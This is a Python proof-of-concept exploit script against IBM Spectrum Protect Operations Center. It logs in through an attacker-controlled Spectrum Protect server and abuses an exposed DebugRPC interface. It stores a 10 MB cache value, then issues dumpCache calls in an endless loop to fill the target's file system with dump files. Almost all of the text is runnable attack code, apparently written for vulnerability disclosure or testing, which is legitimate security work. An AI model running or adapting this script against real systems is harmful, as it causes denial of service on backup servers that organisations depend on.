import requests, sys, argparse, re, hexdump
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


#
# MAIN
# 
descr  = 'This script generates large Operations Center cache dump files on the remot host, which may fill up the file system.'
 
parser = argparse.ArgumentParser(description=descr, formatter_class=argparse.RawTextHelpFormatter)
required = parser.add_argument_group('required arguments')
required.add_argument('-t', '--target',required=True, help='Target host')
parser.add_argument('-p', '--port', type=int, default=11090, help='Operations Center port, default: %(default)s')
required.add_argument('-S', '--server', required=True, help='IP/hostname of the attacker-controlled IBM Spectrum Protect Server')
required.add_argument('-U', '--user', required=True, help='User name on the attacker-contrlled server')
required.add_argument('-P', '--password', required=True, help='User password on the attacker-controlled server')

args = parser.parse_args()
host      = args.target
port      = args.port
server    = args.server
user      = args.user
password  = args.password

print('Logging in to OC at {}:{} with credentials on attacker-controlled server {}'.format(host, port, server))

# Get a login form 
sid = None
url = 'https://{}:{}/oc/configuration'.format(host, port)
r = requests.get(url, verify=False) 
if 'JSESSIONID' in r.cookies:
  sid = r.cookies['JSESSIONID']
if sid is None:
  sys.exit('Failed to get a login session ID.')

m = re.search('id="xtoken" value=([0-9A-F-]+)>', r.text)
if m is None:
  sys.exit('Failed to get xtoken.')
  
xtoken = m.group(1)

# Perform login 
cookies = {'JSESSIONID':sid}
headers = {'Host': '{}:{}'.format(host, port), 'Origin': 'https://{}:{}'.format(host,port)}
data = {
  'connectto'     : '{}:1500'.format(server), 
  'login'         : user, 
  'password'      : password, 
  'xtoken'        : xtoken,
  'useSSL'        : 'true',
  'useTLS12Only'  : 'true',
  'tzoffset'      : '300'
}
r = requests.post(url, cookies=cookies, headers = headers, data=data, verify=False, allow_redirects=False) 
if r.status_code != 302:
  sys.exit('Login failed.\nPlease make sure the credentials for Spectrum Protect server {} is correct and wait for at least 5 minutes or restart the Operations Center service and then rerun the script.'.format(server)) 

print('Login OK')
print('JSESSIONID : {}'.format(sid))
print('xtoken     : {}'.format(xtoken))

if 'JSESSIONID' in r.cookies:
  sid = r.cookies['JSESSIONID']
  cookies = {'JSESSIONID':sid}

#
# setCacheValue 
#
# A cache value is defined by a key and a value.
# Adjust the size to control the size of the cache dump file.
vsize = 10000000
key = 'KEY1'
val = 'A' * vsize
print('Setting an Operations Center cache value, key = {}, value_size = {} bytes'.format(key, vsize))
cv = [key, val]
json = {
  'clazz'       : 'com.ibm.evo.rpc.RPCRequest',
  'methodClazz' : 'com.ibm.tsm.gui.rpc.handlers.DebugRPC', 
  'methodName'  : 'setCacheValue',
  'methodArgs'  : cv 
}
headers = {
  'Host'            : '{}:{}'.format(host, port), 
  'Origin'          : 'https://{}:{}'.format(host,port),
  'xtoken'          : xtoken,
  'Content-Type'    : 'application/json-rpc',
  'Accept-Encoding' : 'deflate, gzip'
}
url = 'https://{}:{}/oc/RPCAdapter'.format(host, port)
r = requests.post(url, cookies=cookies, headers = headers, json=json, verify=False, allow_redirects=False) 
if r.json()['clazz'] != 'com.ibm.evo.rpc.RPCResponse':
  sys.exit('Failed to set a cache value.')

#
# dumpCache 
# cache dump files will be created. 
#
json['methodName'] = 'dumpCache'
json['methodArgs'] = [] 
print('Repeatedly issuing dumpCache RPC calls, the following files are created on the remote OC host')
print('Press Control-C to stop')
while True:
  r = requests.post(url, cookies=cookies, headers = headers, json=json, verify=False, allow_redirects=False) 
  t = r.json()['result'].strip()
  print(t, end='\r', flush=True)

